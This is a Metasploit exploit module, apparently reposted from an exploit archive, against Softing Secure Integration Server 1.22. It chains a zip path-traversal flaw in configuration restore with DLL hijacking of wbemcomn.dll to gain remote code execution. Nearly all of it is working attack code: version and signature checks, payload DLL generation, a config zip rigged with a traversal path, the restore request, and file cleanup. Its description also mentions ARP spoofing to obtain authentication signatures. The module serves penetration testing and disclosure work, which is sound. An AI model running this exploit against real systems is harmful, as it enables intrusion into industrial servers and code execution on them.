Softing Secure Integration Server 1.22 Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'zip'require 'metasploit/framework/login_scanner/softing_sis'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::EXE  include Msf::Exploit::FileDropper  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Softing Secure Integration Server v1.22 Remote Code Execution',        'Description' => %q{          This module chains two vulnerabilities (CVE-2022-1373 and CVE-2022-2334) to achieve authenticated remote code execution against Softing Secure Integration Server v1.22.          In CVE-2022-1373, the restore configuration feature is vulnerable to a directory traversal vulnerablity when processing zip files. When using the "restore configuration" feature to upload a zip file containing a path traversal file which is a dll called ..\..\..\..\..\..\..\..\..\..\..\Windows\System32\wbem\wbemcomn.dll. This causes the file C:\Windows\System32\wbem\wbemcomn.dll to be created and executed upon touching the disk.          In CVE-2022-2334, the planted wbemcomn.dll is used in a DLL hijacking attack when Softing Secure Integration Server restarts upon restoring configuration, which allows us to execute arbitrary code on the target system.          The chain demonstrated in Pwn2Own used a signature instead of a password. The signature was acquired by running an ARP spoofing attack against the local network where the Softing SIS server was located. A username is also required for signature authentication.          A custom DLL can be provided to use in the exploit instead of using the default MSF-generated one. Refer to the module documentation for more details.        },        'License' => MSF_LICENSE,        'Author' => [          'Chris Anastasio (muffin) of Incite Team', # discovery          'Steven Seeley (mr_me) of Incite Team', # discovery          'Imran E. Dawoodjee <imrandawoodjee.infosec[at]gmail.com>', # msf module        ],        'References' => [          ['CVE', '2022-1373'],          ['CVE', '2022-2334'],          ['ZDI', '22-1154'],          ['ZDI', '22-1156'],          ['URL', 'https://industrial.softing.com/fileadmin/psirt/downloads/syt-2022-5.html'],          ['URL', 'https://ide0x90.github.io/softing-sis-122-rce/']        ],        'DefaultOptions' => {          'RPORT' => 8099,          'SSL' => false,          'EXITFUNC' => 'thread',          'WfsDelay' => 300        },        'Platform' => 'win',        # the software itself only supports x64, see        # https://industrial.softing.com/products/opc-opc-ua-software-platform/integration-platform/secure-integration-server.html        'Arch' => [ARCH_X64],        'Targets' => [          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]        ],        'DefaultTarget' => 0,        'DisclosureDate' => '2022-07-27',        'Privileged' => true,        'Compat' => {          'Meterpreter' => {            'Commands' => %w[              stdapi_fs_delete_file            ]          }        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]        }      )    )    register_options(      [        OptString.new('SIGNATURE', [false, 'Use a username/signature pair instead of username/password pair to authenticate']),        OptString.new('USERNAME', [false, 'The username to specify for authentication.', 'admin']),        OptString.new('PASSWORD', [false, 'The password to specify for authentication', 'admin']),        OptString.new('DLLPATH', [false, 'Custom compiled DLL to use'])      ]    )    self.needs_cleanup = true  end  # this will be updated with the signature from "check"  @signature = nil  # create a checker instance to reuse code from the Softing SIS login bruteforce module  def checker_instance    Metasploit::Framework::LoginScanner::SoftingSIS.new(      configure_http_login_scanner(        host: datastore['RHOSTS'],        port: datastore['RPORT'],        connection_timeout: 5      )    ).dup  end  # check if the generated/provided signature is valid for the specified user  def signature_check(user, signature)    send_request_cgi({      'method' => 'GET',      'uri' => "/runtime/core/user/#{user}/authentication",      'vars_get' => {        'User' => user,        'Signature' => signature      }    })  end  def check    # check the Softing SIS version    softing_version_res = checker_instance.check_setup    unless softing_version_res      return CheckCode::Unknown    end    softing_version = Rex::Version.new(softing_version_res)    print_status("#{peer} - Found Softing Secure Integration Server #{softing_version}")    # the vulnerabilities are to be fixed in version 1.30 according to the Softing advisory    # so we will not continue if the version is not vulnerable    unless softing_version < Rex::Version.new('1.30')      return CheckCode::Safe    end    # if the operator provides a signature, then use that instead of the username and password    if datastore['SIGNATURE']      print_status("#{peer} - Authenticating as user #{datastore['USERNAME']} with signature #{datastore['SIGNATURE']}...")      # send a GET request to /runtime/core/user/<username>/authentication      signature_check_res = signature_check(datastore['USERNAME'], datastore['SIGNATURE'])      # if we cannot connect at this point, we only know that the version is < 1.30      # the system "appears" to be vulnerable      unless signature_check_res        print_error("#{peer} - Connection failed!")      end      # if the signature is correct, 200 OK is returned      if signature_check_res.code == 200        print_good("#{peer} - Signature #{datastore['SIGNATURE']} is valid for user #{datastore['USERNAME']}")        @signature = datastore['SIGNATURE']      else        print_error("#{peer} - Signature #{datastore['SIGNATURE']} is invalid for user #{datastore['USERNAME']}!")      end    # login with username and password    else      # get the authentication token      auth_token = checker_instance.get_auth_token(datastore['USERNAME'])      # generate the signature      @signature = checker_instance.generate_signature(auth_token[:proof], datastore['USERNAME'], datastore['PASSWORD'])      # check the generated signatures' validity      signature_check_res = signature_check(datastore['USERNAME'], @signature)      # if we cannot connect, then the system "appears" to be vulnerable      unless signature_check_res        print_error("#{peer} - Connection failed!")      end      # if the signature is correct, 200 OK is returned      if signature_check_res.code == 200        print_good("#{peer} - Valid credentials provided")      else        print_error("#{peer} - Invalid credentials!")      end    end    # if the version is less than 1.30 it's supposedly vulnerable    # but there is no way to confirm vulnerability existence without actually exploiting    # so instead of "Vulnerable", return "Appears"    CheckCode::Appears  end  def exploit    # did the operator specify a custom DLL? If not...    if datastore['DLLPATH']      # otherwise, just use their provided DLL and assume they compiled everything correctly      # there is no way to check if it's compiled correctly anyway      dll_path = datastore['DLLPATH']    else      # have MSF create the malicious DLL      path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-2334')      datastore['EXE::Path'] = path      datastore['EXE::Template'] = ::File.join(path, 'template_x64_windows.dll')      print_status('Generating payload DLL...')      dll = generate_payload_dll      dll_name = 'wbemcomn.dll'      dll_path = store_file(dll, dll_name)      print_status("Created #{dll_path}")    end    # backup the Softing SIS configuration    print_status("#{peer} - Saving configuration...")    get_config_zip_res = send_request_cgi({      'method' => 'GET',      'uri' => '/runtime/core/config-download',      'vars_get' => {        'User' => datastore['USERNAME'],        'Signature' => @signature      }    })    # end if we cannot get the configuration for some reason    unless get_config_zip_res      fail_with Failure::Unreachable, "#{peer} - Could not obtain configuration"    end    # status code 200 is the expected response to getting the configuration ZIP    unless get_config_zip_res.code == 200      # for verbosity, save the JSON response      get_config_zip_res_json = get_config_zip_res.get_json_document      vprint_error("#{peer} - #{get_config_zip_res_json}")      fail_with Failure::UnexpectedReply, "#{peer} - Returned code #{get_config_zip_res.code}, could not obtain configuration"    end    # if successful, the body cnotains the configuration ZIP    config_zip = get_config_zip_res.body    # config_download.zip is the name of the configuration ZIP when downloading from the browser    # append a hash based on the peer address to prevent overwriting the config file if there are multiple targets    config_zip_name = "config_download_#{Digest::MD5.hexdigest(peer)}.zip"    # store the config zip file    config_zip_path = store_file(config_zip, config_zip_name)    print_status("Saved configuration to #{config_zip_path}")    # insert the malicious DLL    Zip::File.open(config_zip_path, Zip::File::CREATE) do |zipfile|      zipfile.add('..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\wbem\\wbemcomn.dll', dll_path)    end    # restore the configuration    restore_config_res = send_request_cgi({      'method' => 'PUT',      'uri' => '/runtime/core/config-restore',      'cookie' => "systemLang=en-US; lang=en; User=#{datastore['USERNAME']}; Signature=#{@signature}",      'vars_get' => {        'User' => datastore['USERNAME'],        'Signature' => @signature      },      'data' => File.read(config_zip_path)    })    # no response    unless restore_config_res      fail_with Failure::Unreachable, "#{peer} - Could not restore configuration!"    end    # bad response    unless restore_config_res.code == 200      # for verbosity, show the JSON response      restore_config_res_json = restore_config_res.get_json_document      vprint_error("#{peer} - #{restore_config_res_json}")      fail_with Failure::UnexpectedReply, "#{peer} - Returned code #{restore_config_res.code}, could not restore configuration!"    end  end  # clean up the planted DLL if the session is meterpreter  def on_new_session(session)    super    unless file_dropper_delete_file(session, 'C:\\Windows\\System32\\wbem\\wbemcomn.dll')      # if the exploit was successful, register the malicious wbemcomn.dll file for cleanup      register_file_for_cleanup('C:\\Windows\\System32\\wbem\\wbemcomn.dll')    end  end  # Store the file in the MSF local directory (/root/.msf4/local/) so it can be used when creating the ZIP file  # literal copypasta from exploits/windows/fileformat/cve_2017_8464_lnk_rce  def store_file(data, filename)    if !::File.directory?(Msf::Config.local_directory)      FileUtils.mkdir_p(Msf::Config.local_directory)    end    if filename && !filename.empty?      fname, ext = filename.split('.')    else      fname = "local_#{Time.now.utc.to_i}"    end    fname = ::File.split(fname).last    fname.gsub!(/[^a-z0-9._-]+/i, '')    fname << ".#{ext}"    path = File.join("#{Msf::Config.local_directory}/", fname)    full_path = ::File.expand_path(path)    File.open(full_path, 'wb') { |fd| fd.write(data) }    full_path.dup  endend